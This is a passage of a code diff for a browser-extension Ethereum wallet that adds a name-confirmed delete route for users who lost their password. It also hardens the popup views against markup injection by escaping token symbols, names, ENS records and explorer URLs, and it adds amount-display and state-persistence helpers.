+        ? `<div class="text-xs text-muted mt-1">${escapeHtml(line)}</div>`
         : "";
     return (
         `<p class="mb-1">This address holds a balance. Removing it does not ` +

src/popup/views/deleteWallet.js

@@ -14,8 +14,29 @@ const {
 } = require("../../shared/walletDelete");
 
 let deleteWalletIndex = null;
+let lostPasswordIndex = null;
 let ctx = null;
 
+// The name shown for a wallet, and on the lost-password screen the string
+// the user has to type back. One function so the two cannot disagree: a
+// confirmation that asks for a name other than the one on screen is
+// unusable.
+function displayName(walletIdx) {
+    const wallet = state.wallets[walletIdx];
+    return (wallet && wallet.name) || "Wallet " + (walletIdx + 1);
+}
+
+// What the typed confirmation and the wallet name are compared as. HTML
+// collapses runs of whitespace when it renders the name, so a wallet named
+// "My  Wallet" with two spaces DISPLAYS as "My Wallet": the user cannot
+// see the second space and cannot type a string that matches the stored
+// name. Comparing collapsed on both sides is what keeps the confirmation
+// satisfiable, on the one screen whose whole purpose is unwedging a user
+// who is already stuck. Case and surrounding space go the same way.
+function confirmKey(name) {
+    return name.trim().replace(/\s+/g, " ").toLowerCase();
+}
+
 // Drop the password from the DOM and the wallet selection from the
 // closure. Registered as the view-leave handler as well as run on entry,
 // so the typed password does not sit in the hidden view after the user
@@ -27,19 +48,89 @@ function clear() {
     $("delete-wallet-flash").style.visibility = "hidden";
 }
 
+// The lost-password screen holds no secret — a wallet name is not one —
+// but it is wiped on leave for the neighbouring reason: a typed
+// confirmation left standing in a hidden view is one click away from
+// destroying a wallet the user has since navigated off. The button is
+// re-enabled here too, so a screen left mid-delete is usable on re-entry.
+function clearLostPassword() {
+    lostPasswordIndex = null;
+    $("delete-wallet-lost-name-input").value = "";
+    $("delete-wallet-lost-flash").textContent = "";
+    $("delete-wallet-lost-flash").style.visibility = "hidden";
+    const btn = $("btn-delete-wallet-lost-confirm");
+    btn.disabled = false;
+    btn.classList.remove("text-muted");
+}
+
 function show(walletIdx) {
     clear();
     deleteWalletIndex = walletIdx;
-    const wallet = state.wallets[walletIdx];
-    $("delete-wallet-name").textContent =
-        wallet.name || "Wallet " + (walletIdx + 1);
+    $("delete-wallet-name").textContent = displayName(walletIdx);
     showView("delete-wallet-confirm");
 }
 
+// The two delete screens are siblings, not parent and child: nothing is
+// pushed on the way here, and Back goes to show() rather than goBack().
+// Both then have the same Back target — Settings, the screen that pushed
+// delete-wallet-confirm — and re-entering through show() hands the confirm
+// screen its wallet selection back, which a bare goBack() onto a view
+// whose leave hook has already nulled that selection would not.
+function showLostPassword() {
+    const walletIdx = deleteWalletIndex;
+    if (walletIdx === null) {
+        goBack();
+        return;
+    }
+    const name = displayName(walletIdx);
+    clearLostPassword();
+    $("delete-wallet-lost-name").textContent = name;
+    $("delete-wallet-lost-name-echo").textContent = name;
+    // showView() runs the leave hook of delete-wallet-confirm, which nulls
+    // deleteWalletIndex, so this screen's own selection is recorded after
+    // it and not before.
+    showView("delete-wallet-lost-password");
+    lostPasswordIndex = walletIdx;
+}
+
+// Remove the wallet and put the user somewhere sensible. Shared by both
+// routes onto this screen, so the selection repair, the site-permission
+// cleanup and the accountsChanged broadcast cannot drift apart between
+// them.
+async function finishDelete(walletIdx) {
+    const { activeAddressChanged } = removeWalletFromState(state, walletIdx);
+
+    deleteWalletIndex = null;
+    lostPasswordIndex = null;
+
+    if (!state.hasWallet) {
+        clearViewStack();
+        await saveState();
+        // Save before broadcasting: the background reads the active
+        // address back out of storage to build accountsChanged.
+        if (activeAddressChanged) broadcastActiveChanged();
+        showView("welcome");
+        return;
+    }
+
+    await saveState();
+    if (activeAddressChanged) broadcastActiveChanged();
+    // Reset stack to [main] so Settings back goes home.
+    // Use require() lazily to avoid circular dependency
+    // (settings.js requires deleteWallet.js).
+    clearViewStack();
+    state.viewStack.push("main");
+    ctx.renderWalletList();
+    const settings = require("./settings");
+    settings.show();
+    showFlash("Wallet deleted.");
+}
+
 function init(_ctx) {
     ctx = _ctx;
 
     onViewLeave("delete-wallet-confirm", clear);
+    onViewLeave("delete-wallet-lost-password", clearLostPassword);
 
     // No wipe here: goBack() routes through showView(), which runs the
     // leave hook.
@@ -47,6 +138,60 @@ function init(_ctx) {
         goBack();
     });
 
+    // The escape hatch, and deliberately not gated on anything a user who
+    // has lost the password cannot produce. A password in front of
+    // DISCARDING a secret protects nobody: an attacker at the popup who
+    // wants the wallet gone can uninstall the extension, so the only
+    // person such a gate stops is the owner who forgot it — and before
+    // this route existed that owner could neither delete the wallet nor
+    // import its recovery phrase again, because AddWallet refuses the xpub
+    // as a duplicate while the wallet is still stored.
+    $("btn-delete-wallet-lost-password").addEventListener("click", () => {
+        showLostPassword();
+    });
+
+    $("btn-delete-wallet-lost-back").addEventListener("click", () => {
+        const walletIdx = lostPasswordIndex;
+        if (walletIdx === null) {
+            goBack();
+            return;
+        }
+        show(walletIdx);
+    });
+
+    $("btn-delete-wallet-lost-confirm").addEventListener("click", async () => {
+        if (lostPasswordIndex === null) {
+            $("delete-wallet-lost-flash").textContent =
+                "No wallet selected for deletion.";
+            $("delete-wallet-lost-flash").style.visibility = "visible";
+            return;
+        }
+
+        // Case, surrounding spaces and repeated inner spaces are not part
+        // of the confirmation; see confirmKey(). This asks whether the
+        // user knows which wallet they are on; it is not a secret, and
+        // refusing "wallet 2" for "Wallet 2" would only teach the user to
+        // distrust the control.
+        const typed = $("delete-wallet-lost-name-input").value;
+        const expected = displayName(lostPasswordIndex);
+        if (confirmKey(typed) !== confirmKey(expected)) {
+            $("delete-wallet-lost-flash").textContent =
+                "That is not the name of this wallet. Type " +
+                expected +
+                " to confirm.";
+            $("delete-wallet-lost-flash").style.visibility = "visible";
+            return;
+        }
+
+        const btn = $("btn-delete-wallet-lost-confirm");
+        btn.disabled = true;
+        btn.classList.add("text-muted");
+
+        // finishDelete() navigates, and the leave hook re-enables the
+        // button and wipes the typed name on the way out.
+        await finishDelete(lostPasswordIndex);
+    });
+
     $("btn-delete-wallet-confirm").addEventListener("click", async () => {
         const pw = $("delete-wallet-password").value;
         if (!pw) {
@@ -82,34 +227,7 @@ function init(_ctx) {
             return;
         }
 
-        // Remove the wallet and repair selection, permissions and hasWallet
-        const { activeAddressChanged } = removeWalletFromState(
-            state,
-            walletIdx,
-        );
-
-        deleteWalletIndex = null;
-
-        if (!state.hasWallet) {
-            clearViewStack();
-            await saveState();
-            // Save before broadcasting: the background reads the active
-            // address back out of storage to build accountsChanged.
-            if (activeAddressChanged) broadcastActiveChanged();
-            showView("welcome");
-        } else {
-            await saveState();
-            if (activeAddressChanged) broadcastActiveChanged();
-            // Reset stack to [main] so Settings back goes home.
-            // Use require() lazily to avoid circular dependency
-            // (settings.js requires deleteWallet.js).
-            clearViewStack();
-            state.viewStack.push("main");
-            ctx.renderWalletList();
-            const settings = require("./settings");
-            settings.show();
-            showFlash("Wallet deleted.");
-        }
+        await finishDelete(walletIdx);
     });
 }
 

src/popup/views/helpers.js

@@ -1,8 +1,22 @@
 // Shared DOM helpers used by all views.
+//
+// Escaping rule for every view in this directory, since they all build
+// markup by concatenation: any VALUE interpolated into an innerHTML string
+// goes through escapeHtml(), whatever its provenance looks like today. The
+// only interpolations left bare are markup FRAGMENTS this code just built
+// (a rendered dot, an icon, a composed row), which escaping would turn into
+// visible angle brackets, and locally computed numbers and loop indices.
+// The distinction is meant to be greppable: an unescaped `${` next to a
+// name that reads like data is a defect.
 
+// escapeHtml lives in src/shared/html.js, where the escape and the
+// reasoning behind it are; it is re-exported below so views keep importing
+// it from here.
+const { escapeHtml } = require("../../shared/html");
 const { isDebug } = require("../../shared/log");
 const { formatUsd, getPrice } = require("../../shared/prices");
 const { state, saveState, currentNetwork } = require("../../shared/state");
+const { displaySymbol } = require("../../shared/symbolDisplay");
 const { markViewRendered } = require("../viewRouter");
 
 // When views are added, removed, or transitions between them change,
@@ -22,6 +36,7 @@ const VIEWS = [
     "add-token",
     "settings",
     "delete-wallet-confirm",
+    "delete-wallet-lost-password",
     "delete-address-confirm",
     "settings-addtoken",
     "transaction",
@@ -177,17 +192,26 @@ function showFlash(msg, duration = 2000) {
     }, duration);
 }
 
+// One row of the balance list: symbol, quantity, fiat value.
+//
+// `symbol` is the ERC-20's own symbol() as the block explorer reported it,
+// so it is attacker-chosen markup until it has been through escapeHtml, and
+// attacker-chosen length until it has been through displaySymbol. This is
+// the row that issue #307 was reported against: every screen that lists a
+// holding renders through here.
 function balanceLine(symbol, amount, price, tokenId) {
     const qty = amount.toFixed(4);
     const usd = price ? formatUsd(amount * price) || " " : " ";
-    const tokenAttr = tokenId ? ` data-token="${tokenId}"` : "";
+    // tokenId is a contract address out of the same explorer JSON, and it
+    // lands inside a quoted attribute.
+    const tokenAttr = tokenId ? ` data-token="${escapeHtml(tokenId)}"` : "";
     const clickClass = tokenId
         ? " cursor-pointer hover:bg-hover balance-row"
         : "";
     return (
         `<div class="flex text-xs${clickClass}"${tokenAttr}>` +
         `<span class="flex justify-between" style="width:42ch;max-width:100%">` +
-        `<span>${symbol}</span>` +
+        `<span>${escapeHtml(displaySymbol(symbol))}</span>` +
         `<span>${qty}</span>` +
         `</span>` +
         `<span class="text-right text-muted flex-1">${usd}</span>` +
@@ -289,12 +313,6 @@ function addressDotHtml(address) {
     return `<span style="width:8px;height:8px;border-radius:50%;display:inline-block;background:${color};margin-right:4px;vertical-align:middle;flex-shrink:0;"></span>`;
 }
 
-function escapeHtml(s) {
-    const div = document.createElement("div");
-    div.textContent = s;
-    return div.innerHTML;
-}
-
 // Look up an address across all wallets and return its title
 // (e.g. "Address 1.2") or null if it's not one of ours.
 function addressTitle(address, wallets) {
@@ -382,13 +400,26 @@ const EXT_ICON =
     `<path d="M7 1.5h3.5V5M7 5.5L10.5 1.5"/>` +
     `</svg></span>`;
 
-function etherscanAddressUrl(address) {
-    return `${currentNetwork().explorerUrl}/address/${address}`;
+// Block-explorer URLs. The origin is a per-network constant from
+// src/shared/networks.js; only the path segment is data, and it comes out
+// of explorer JSON (a transaction's from/to, a token's address_hash), which
+// nothing upstream validates as hex. percent-encoding it keeps a segment
+// that contains a slash, a query or a fragment from re-pointing the link
+// somewhere else in the explorer.
+function explorerUrl(kind, value) {
+    return `${currentNetwork().explorerUrl}/${kind}/${encodeURIComponent(value)}`;
 }
 
+function etherscanAddressUrl(address) {
+    return explorerUrl("address", address);
+}
+
+// The URL still has to be escaped on the way into href="...": encoding
+// governs what the URL means, escaping governs whether it stays inside the
+// attribute.
 function etherscanLinkHtml(url) {
     return (
-        `<a href="${url}" target="_blank" rel="noopener" ` +
+        `<a href="${escapeHtml(url)}" target="_blank" rel="noopener" ` +
         `class="inline-flex items-center">${EXT_ICON}</a>`
     );
 }
@@ -492,6 +523,7 @@ module.exports = {
     addressColor,
     addressDotHtml,
     escapeHtml,
+    displaySymbol,
     addressTitle,
     formatAddressHtml,
     renderAddressHtml,
@@ -499,6 +531,7 @@ module.exports = {
     attachCopyHandlers,
     etherscanAddressUrl,
     etherscanLinkHtml,
+    explorerUrl,
     EXT_ICON,
     truncateMiddle,
     isoDate,

src/popup/views/home.js

@@ -8,6 +8,7 @@ const {
     addressDotHtml,
     addressTitle,
     escapeHtml,
+    displaySymbol,
     truncateMiddle,
     renderAddressHtml,
     attachCopyHandlers,
@@ -109,10 +110,13 @@ function renderHomeTxList(ctx) {
                 : tx.direction === "sent" || tx.direction === "contract"
                   ? tx.to
                   : tx.from;
-        const dirLabel = tx.directionLabel;
+        // directionLabel is the explorer's own method name for a contract
+        // call, title-cased — attacker-chosen for an attacker's contract.
+        const dirLabel = escapeHtml(tx.directionLabel);
+        const sym = displaySymbol(tx.symbol);
         const amountStr = tx.value
-            ? escapeHtml(tx.value + " " + tx.symbol)
-            : escapeHtml(tx.symbol);
+            ? escapeHtml(tx.value + " " + sym)
+            : escapeHtml(sym);
         const title = addressTitle(counterparty, state.wallets);
         const maxAddr = Math.max(32, 36 - Math.max(0, amountStr.length - 10));
         const displayAddr = title || truncateMiddle(counterparty, maxAddr);
@@ -226,7 +230,7 @@ function walletListHtml() {
         const defect = walletDefect(wallet);
         html += `<div>`;
         html += `<div class="flex justify-between items-center bg-section py-1 px-2" style="margin:0 -0.5rem">`;
-        html += `<span class="font-bold cursor-pointer wallet-name underline decoration-dashed" data-wallet="${wi}">${wallet.name}</span>`;
+        html += `<span class="font-bold cursor-pointer wallet-name underline decoration-dashed" data-wallet="${wi}">${escapeHtml(wallet.name)}</span>`;
         // No "+" on a defective wallet: deriving another address from that
         // xpub would only add one more address the key does not produce
         // under the standard path.
@@ -250,10 +254,13 @@ function walletListHtml() {
             const titleBold = isActive ? "font-bold" : "";
             html += `<div class="text-xs ${titleBold}">Address ${ai + 1}</div>`;
             if (addr.ensName) {
-                html += `<div class="text-xs font-bold flex items-center">${dot}${addr.ensName}</div>`;
+                // An ENS reverse record is whatever the name owner set it
+                // to; renderAddressHtml() escapes its own copy of this and
+                // this list was the one that did not.
+                html += `<div class="text-xs font-bold flex items-center">${dot}${escapeHtml(addr.ensName)}</div>`;
             }
             html += `<div class="flex text-xs items-center justify-between">`;
-            html += `<span class="flex items-center break-all">${addr.ensName ? "" : dot}${addr.address}</span>`;
+            html += `<span class="flex items-center break-all">${addr.ensName ? "" : dot}${escapeHtml(addr.address)}</span>`;
             html += `<span class="flex-shrink-0 ml-1">${infoBtn}${removeBtn}</span>`;
             html += `</div>`;
             const addrTotal = formatAddressTotal(getAddressValue(addr));

src/popup/views/receive.js

@@ -5,6 +5,7 @@ const {
     flashCopyFeedback,
     formatAddressHtml,
     addressTitle,
+    displaySymbol,
     attachCopyHandlers,
     goBack,
 } = require("./helpers");
@@ -44,7 +45,7 @@ function show() {
         }
         warningEl.textContent =
             "This is an ERC-20 token. Only send " +
-            symbol +
+            displaySymbol(symbol) +
             " on " +
             currentNetwork().name +
             " to this address. Sending tokens on other networks will result in permanent loss.";

src/popup/views/send.js

@@ -4,6 +4,7 @@ const {
     $,
     showFlash,
     addressTitle,
+    displaySymbol,
     renderAddressHtml,
     attachCopyHandlers,
     goBack,
@@ -131,7 +132,7 @@ function renderSendTokenSelect(addr) {
         if (state.hideLowHolderTokens && isLowHolderCount(t.holders)) continue;
         const opt = document.createElement("option");
         opt.value = t.address;
-        opt.textContent = t.symbol;
+        opt.textContent = displaySymbol(t.symbol);
         sel.appendChild(opt);
     }
 }

src/popup/views/settings.js

@@ -4,6 +4,7 @@ const {
     updateDebugBanner,
     showFlash,
     escapeHtml,
+    displaySymbol,
     flashCopyFeedback,
     goBack,
     pushCurrentView,
@@ -43,8 +44,11 @@ function renderSiteList(containerId, siteMap, stateKey) {
     let html = "";
     hostnames.forEach((hostname) => {
         html += `<div class="flex justify-between items-center text-xs py-1 border-b border-border-light">`;
-        html += `<span>${hostname}</span>`;
-        html += `<button class="btn-remove-site border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer" data-key="${stateKey}" data-hostname="${hostname}">[x]</button>`;
+        // A hostname the URL parser produced cannot carry a delimiter, so
+        // this is escaped for the rule rather than for a known hole — the
+        // rule being that nothing reaches innerHTML unescaped.
+        html += `<span>${escapeHtml(hostname)}</span>`;
+        html += `<button class="btn-remove-site border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer" data-key="${escapeHtml(stateKey)}" data-hostname="${escapeHtml(hostname)}">[x]</button>`;
         html += `</div>`;
     });
     container.innerHTML = html;
@@ -73,9 +77,10 @@ function renderTrackedTokens() {
     }
     let html = "";
     state.trackedTokens.forEach((token, idx) => {
+        const sym = escapeHtml(displaySymbol(token.symbol));
         const label = token.name
-            ? escapeHtml(token.name) + " (" + escapeHtml(token.symbol) + ")"
-            : escapeHtml(token.symbol);
+            ? escapeHtml(token.name) + " (" + sym + ")"
+            : sym;
         html += `<div class="flex justify-between items-center text-xs py-1 border-b border-border-light">`;
         html += `<span>${label}</span>`;
         html += `<button class="btn-remove-token border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer" data-idx="${idx}">[x]</button>`;

src/popup/views/settingsAddToken.js

@@ -1,4 +1,4 @@
-const { $, showView, showFlash, goBack } = require("./helpers");
+const { $, showView, showFlash, escapeHtml, goBack } = require("./helpers");
 const { getTopTokens } = require("../../shared/tokenList");
 const { state, saveState } = require("../../shared/state");
 const { lookupTokenInfo } = require("../../shared/balances");
@@ -26,11 +26,11 @@ function renderTop10() {
                 : "border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer text-xs";
             return (
                 `<button class="settings-addtoken-quick ${cls}"` +
-                ` data-address="${t.address}"` +
-                ` data-symbol="${t.symbol}"` +
-                ` data-decimals="${t.decimals}"` +
-                ` data-name="${(t.name || "").replace(/"/g, "&quot;")}"` +
-                `${tracked ? " disabled" : ""}>${t.symbol}</button>`
+                ` data-address="${escapeHtml(t.address)}"` +
+                ` data-symbol="${escapeHtml(t.symbol)}"` +
+                ` data-decimals="${escapeHtml(t.decimals)}"` +
+                ` data-name="${escapeHtml(t.name || "")}"` +
+                `${tracked ? " disabled" : ""}>${escapeHtml(t.symbol)}</button>`
             );
         })
         .join("");
@@ -62,11 +62,11 @@ function renderDropdown() {
         const tracked = isTracked(t.address);
         const label = tokenLabel(t) + (tracked ? " (tracked)" : "");
         html +=
-            `<option value="${t.address}"` +
-            ` data-symbol="${t.symbol}"` +
-            ` data-decimals="${t.decimals}"` +
-            ` data-name="${(t.name || "").replace(/"/g, "&quot;")}"` +
-            `${tracked ? " disabled" : ""}>${label}</option>`;
+            `<option value="${escapeHtml(t.address)}"` +
+            ` data-symbol="${escapeHtml(t.symbol)}"` +
+            ` data-decimals="${escapeHtml(t.decimals)}"` +
+            ` data-name="${escapeHtml(t.name || "")}"` +
+            `${tracked ? " disabled" : ""}>${escapeHtml(label)}</option>`;
     }
     sel.innerHTML = html;
 }

src/popup/views/transactionDetail.js

@@ -15,9 +15,11 @@ const {
     attachCopyHandlers,
     copyableHtml,
     etherscanLinkHtml,
+    explorerUrl,
+    displaySymbol,
     goBack,
 } = require("./helpers");
-const { state, currentNetwork } = require("../../shared/state");
+const { state } = require("../../shared/state");
 const { formatEther, formatUnits } = require("ethers");
 const makeBlockie = require("ethereum-blockies-base64");
 const { log, debugFetch } = require("../../shared/log");
@@ -44,7 +46,7 @@ function getTransactionType(tx) {
 
 function blockieHtml(address) {
     const src = makeBlockie(address);
-    return `<img src="${src}" width="48" height="48" style="image-rendering:pixelated;border-radius:50%;display:inline-block">`;
+    return `<img src="${escapeHtml(src)}" width="48" height="48" style="image-rendering:pixelated;border-radius:50%;display:inline-block">`;
 }
 
 function txAddressHtml(address, ensName, title) {
@@ -56,7 +58,7 @@ function txAddressHtml(address, ensName, title) {
 }
 
 function txHashHtml(hash) {
-    const link = `${currentNetwork().explorerUrl}/tx/${hash}`;
+    const link = explorerUrl("tx", hash);
     const extLink = etherscanLinkHtml(link);
     return copyableHtml(hash, "break-all") + extLink;
 }
@@ -101,9 +103,10 @@ function render() {
     $("tx-detail-to").innerHTML = txAddressHtml(tx.to, tx.toEns, toTitle);
 
     // Exact amount (full precision, copyable)
+    const detailSym = displaySymbol(tx.symbol);
     const exactStr = tx.exactValue
-        ? tx.exactValue + " " + tx.symbol
-        : tx.directionLabel + " " + tx.symbol;
+        ? tx.exactValue + " " + detailSym
+        : tx.directionLabel + " " + detailSym;
     $("tx-detail-value").innerHTML = copyableHtml(exactStr, "font-bold");
 
     // Native quantity (raw integer, copyable)
@@ -133,7 +136,7 @@ function render() {
     if (tokenContractSection && tokenContractEl) {
         if (tx.contractAddress) {
             const dot = addressDotHtml(tx.contractAddress);
-            const link = `${currentNetwork().explorerUrl}/token/${tx.contractAddress}`;
+            const link = explorerUrl("token", tx.contractAddress);
             tokenContractEl.innerHTML =
                 `<div class="flex items-center">${dot}` +
                 copyableHtml(tx.contractAddress, "break-all") +
@@ -185,7 +188,7 @@ function showDetailField(sectionId, contentId, value) {
 function populateOnChainDetails(txData) {
     // Block number
     if (txData.block_number != null) {
-        const blockLink = `${currentNetwork().explorerUrl}/block/${txData.block_number}`;
+        const blockLink = explorerUrl("block", String(txData.block_number));
         const blockSection = $("tx-detail-block-section");
         const blockEl = $("tx-detail-block");
         if (blockSection && blockEl) {
@@ -309,7 +312,7 @@ async function loadFullTxDetails(txHash, toAddress) {
                     // Token entry: show symbol on its own line, then address via shared renderer
                     const tokenSymbol = d.value.match(/^(\S+)\s*\(/)?.[1];
                     if (tokenSymbol) {
-                        detailsHtml += `<div class="font-bold">${escapeHtml(tokenSymbol)}</div>`;
+                        detailsHtml += `<div class="font-bold">${escapeHtml(displaySymbol(tokenSymbol))}</div>`;
                     }
                     detailsHtml += renderAddressHtml(d.address);
                 } else if (d.address) {

src/popup/views/txStatus.js

@@ -9,10 +9,12 @@ const {
     attachCopyHandlers,
     copyableHtml,
     etherscanLinkHtml,
+    explorerUrl,
+    displaySymbol,
     clearViewStack,
 } = require("./helpers");
 const { TOKEN_BY_ADDRESS } = require("../../shared/tokenList");
-const { state, currentNetwork } = require("../../shared/state");
+const { state } = require("../../shared/state");
 const { getProvider } = require("../../shared/balances");
 const { log } = require("../../shared/log");
 
@@ -62,13 +64,13 @@ function toAddressHtml(address) {
 }
 
 function txHashHtml(hash) {
-    const link = `${currentNetwork().explorerUrl}/tx/${hash}`;
+    const link = explorerUrl("tx", hash);
     return copyableHtml(hash, "break-all") + etherscanLinkHtml(link);
 }
 
 function blockNumberHtml(blockNumber) {
     const num = String(blockNumber);
-    const link = `${currentNetwork().explorerUrl}/block/${num}`;
+    const link = explorerUrl("block", num);
     return copyableHtml(num) + etherscanLinkHtml(link);
 }
 
@@ -80,7 +82,10 @@ function startWait(txInfo, txHash, broadcastTime, pollNow) {
     endWait();
     const id = waitId;
 
-    const symbol = txInfo.token === "ETH" ? "ETH" : txInfo.tokenSymbol || "?";
+    const symbol =
+        txInfo.token === "ETH"
+            ? "ETH"
+            : displaySymbol(txInfo.tokenSymbol || "?");
     $("wait-tx-summary").textContent = txInfo.amount + " " + symbol;
     $("wait-tx-to").innerHTML = toAddressHtml(txInfo.to);
     $("wait-tx-hash").innerHTML = txHashHtml(txHash);
@@ -211,7 +216,10 @@ function restoreWait() {
 function showSuccess(txInfo, txHash, blockNumber) {
     endWait();
 
-    const symbol = txInfo.token === "ETH" ? "ETH" : txInfo.tokenSymbol || "?";
+    const symbol =
+        txInfo.token === "ETH"
+            ? "ETH"
+            : displaySymbol(txInfo.tokenSymbol || "?");
     state.viewData = {
         amount: txInfo.amount,
         symbol: symbol,
@@ -299,7 +307,10 @@ function renderSuccess() {
 function showError(txInfo, txHash, message) {
     endWait();
 
-    const symbol = txInfo.token === "ETH" ? "ETH" : txInfo.tokenSymbol || "?";
+    const symbol =
+        txInfo.token === "ETH"
+            ? "ETH"
+            : displaySymbol(txInfo.tokenSymbol || "?");
     state.viewData = {
         amount: txInfo.amount,
         symbol: symbol,

src/shared/amountDisplay.js

@@ -0,0 +1,46 @@
+// The 4-decimal amount rule from README.md's Display Consistency section, and
+// the one exception to it, in one place. Three call sites had grown their own
+// copy of the truncation — the history and balance lists
+// (`src/shared/transactions.js`), the approval screen's ERC-20 amount line
+// (`src/popup/views/approval.js`) and its Uniswap swap detail lines
+// (`src/shared/uniswap.js`) — and a fix applied to one of them left the other
+// two showing a different number for the same value.
+//
+// The two functions below are the two policies, not two implementations of
+// one: summary lists truncate, and the screens that state what is being
+// authorized truncate with a floor. Keeping them adjacent is the point, so a
+// change to the rule cannot reach one screen and miss another.
+
+// Truncate to exactly four decimal places. Truncation, never rounding: an
+// amount must never be displayed as larger than it is, so 0.99999 stays
+// 0.9999.
+function truncateAmount(val) {
+    const parts = val.split(".");
+    if (parts.length === 1) return val + ".0000";
+    return parts[0] + "." + (parts[1] + "0000").slice(0, 4);
+}
+
+// The same rule, plus the invariant the approval and confirmation screens
+// hold: a nonzero amount never renders as zero. Truncating to four decimals
+// does exactly that to an amount below 0.0001 — one base unit of an 18-decimal
+// token, 500 of an 8-decimal one — and a real transfer or allowance then reads
+// as "nothing is being moved" on the screen whose whole job is to say what is
+// being authorized.
+//
+// When the truncated string carries no significant digit and the value does,
+// the amount is extended to its first significant digit instead. It stays in
+// token units, the same unit as the symbol printed beside it. A genuine zero
+// still renders 0.0000, and anything at or above the floor is untouched.
+function truncateAmountNeverZero(val) {
+    const truncated = truncateAmount(val);
+    // Tests the whole truncated string, integer part included: 1.00005 has a
+    // significant digit already and stays 1.0000.
+    if (/[1-9]/.test(truncated)) return truncated;
+    const parts = val.split(".");
+    if (parts.length === 1) return truncated;
+    const sig = parts[1].search(/[1-9]/);
+    if (sig === -1) return truncated;
+    return parts[0] + "." + parts[1].slice(0, sig + 1);
+}
+
+module.exports = { truncateAmount, truncateAmountNeverZero };

src/shared/approvalAmount.js

@@ -14,6 +14,10 @@
 // them answers, unknownDecimalsAmount() renders the base-unit integer with the
 // unknown scale stated, and no formatUnits() call is reached at all.
 //
+// The Uniswap decoder's Amount and Min. received lines land on this same
+// screen and use these same two functions, so there is one way of resolving a
+// scale and one way of saying there is none.
+//
 // This is the display counterpart to transferAmount.js, which takes the same
 // stance on the wallet's own send path: an amount whose scale is unknown or
 // disputed is refused rather than guessed at.

src/shared/html.js

@@ -0,0 +1,41 @@
+// HTML escaping for values interpolated into an innerHTML string.
+//
+// Every view in src/popup/views/ builds markup by string concatenation, so
+// this is the only thing standing between a value the wallet did not author
+// and the extension's own DOM. The values that reach it are attacker
+// controlled by design: an ERC-20's symbol() and name() are whatever the
+// contract chooses to return, an ENS name is whatever the resolver returns,
+// and both arrive through the block explorer with no schema.
+//
+// It escapes both quote characters as well as the tag delimiters, because
+// the popup interpolates into attribute values as well as into element
+// text — copyableHtml() writes data-copy="..." and etherscanLinkHtml()
+// writes href="...". A `<`/`>`-only escape leaves an unquoted-attribute
+// break-out intact, and the round trip through a detached element's
+// textContent that used to implement this was exactly that escape: the
+// HTML serializer only escapes `&`, `<`, `>` and U+00A0 in a text node,
+// since a text node has no idea it is about to be pasted inside quotes.
+//
+// Deliberately a pure string function with no DOM dependency: it is called
+// on every rendered row, it is unit-testable without a document, and it
+// cannot be affected by the state of a document that an attacker-supplied
+// string has already been written into.
+
+const HTML_ESCAPES = {
+    "&": "&amp;",
+    "<": "&lt;",
+    ">": "&gt;",
+    '"': "&quot;",
+    "'": "&#39;",
+};
+
+// `&` is escaped first by virtue of being in the same pass: a sequential
+// replace would re-escape the ampersands it had just introduced.
+function escapeHtml(s) {
+    if (s === null || s === undefined) return "";
+    return String(s).replace(/[&<>"']/g, (c) => HTML_ESCAPES[c]);
+}
+
+module.exports = {
+    escapeHtml,
+};

src/shared/state.js

@@ -6,6 +6,7 @@ const { networkById } = require("./networks");
 const { RESTORABLE_VIEWS } = require("../popup/restorableViews");
 
 const { storageGet, storageSet } = require("./browserApi");
+const { log } = require("./log");
 
 const DEFAULT_STATE = {
     hasWallet: false,
@@ -88,135 +89,529 @@ function currentNetwork() {
     return networkById(state.networkId);
 }
 
-async function saveState() {
-    const persisted = {
-        hasWallet: state.hasWallet,
-        wallets: state.wallets,
-        trackedTokens: state.trackedTokens,
-        networkId: state.networkId,
-        rpcUrl: state.rpcUrl,
-        blockscoutUrl: state.blockscoutUrl,
-        networkEndpoints: state.networkEndpoints,
-        lastBalanceRefresh: state.lastBalanceRefresh,
-        activeAddress: state.activeAddress,
-        allowedSites: state.allowedSites,
-        deniedSites: state.deniedSites,
-        rememberSiteChoice: state.rememberSiteChoice,
-        showZeroBalanceTokens: state.showZeroBalanceTokens,
-        hideSpoofedSymbols: state.hideSpoofedSymbols,
-        hideLowHolderTokens: state.hideLowHolderTokens,
-        hideFraudContracts: state.hideFraudContracts,
-        hideDustTransactions: state.hideDustTransactions,
-        dustThresholdGwei: state.dustThresholdGwei,
-        utcTimestamps: state.utcTimestamps,
-        fraudContracts: state.fraudContracts,
-        tokenHolderCache: state.tokenHolderCache,
-        theme: state.theme,
-        debugMode: state.debugMode,
-        currentView: state.currentView,
-        selectedWallet: state.selectedWallet,
-        selectedAddress: state.selectedAddress,
-        selectedToken: state.selectedToken,
-        viewData: state.viewData,
-        viewStack: state.viewStack,
-    };
-    await storageSet({ autistmask: persisted });
+// Every field written to and read from the single "autistmask" storage key.
+// hasWallet is deliberately excluded from the diffing/merge logic below —
+// like loadState() does, it is always derived from `wallets`, never carried
+// as an independent value.
+const PERSISTED_FIELDS = Object.keys(DEFAULT_STATE)
+    .filter((key) => key !== "hasWallet")
+    .concat([
+        "currentView",
+        "selectedWallet",
+        "selectedAddress",
+        "selectedToken",
+        "viewData",
+        "viewStack",
+    ]);
+
+// Turn a raw stored (or missing) record into the full, defaulted shape
+// loadState() used to assign directly onto `state`. Pulled out as a pure
+// function so saveState() can apply it too: the fields THIS page did not
+// change still have to come from storage in their loaded-and-normalized
+// form, not as the raw bytes another page (or an old release) left there —
+// otherwise a legacy shape a load has always self-healed in memory (a
+// missing networkEndpoints map, an out-of-range flag) is dropped right back
+// into storage unfixed every time the page that DID normalize it saves
+// something unrelated, because that field's value never "changed" for that
+// page to notice.
+function normalizePersisted(saved) {
+    saved = saved || {};
+    const out = {};
+    out.wallets = saved.wallets || [];
+    // Derived, never trusted verbatim off storage — see loadState().
+    out.hasWallet = out.wallets.length > 0;
+    out.trackedTokens = saved.trackedTokens || [];
+    out.networkId = saved.networkId || DEFAULT_STATE.networkId;
+    out.rpcUrl = saved.rpcUrl || DEFAULT_STATE.rpcUrl;
+    out.blockscoutUrl = saved.blockscoutUrl || DEFAULT_STATE.blockscoutUrl;
+    // An actual object is required, not merely a truthy non-array: the code
+    // below and onChainSwitch() index and ASSIGN INTO this value, and
+    // assigning a property to a string or a number is a silent no-op in
+    // sloppy mode. Copied rather than referenced, nested pairs included, so
+    // normalizing never mutates the object a caller handed in.
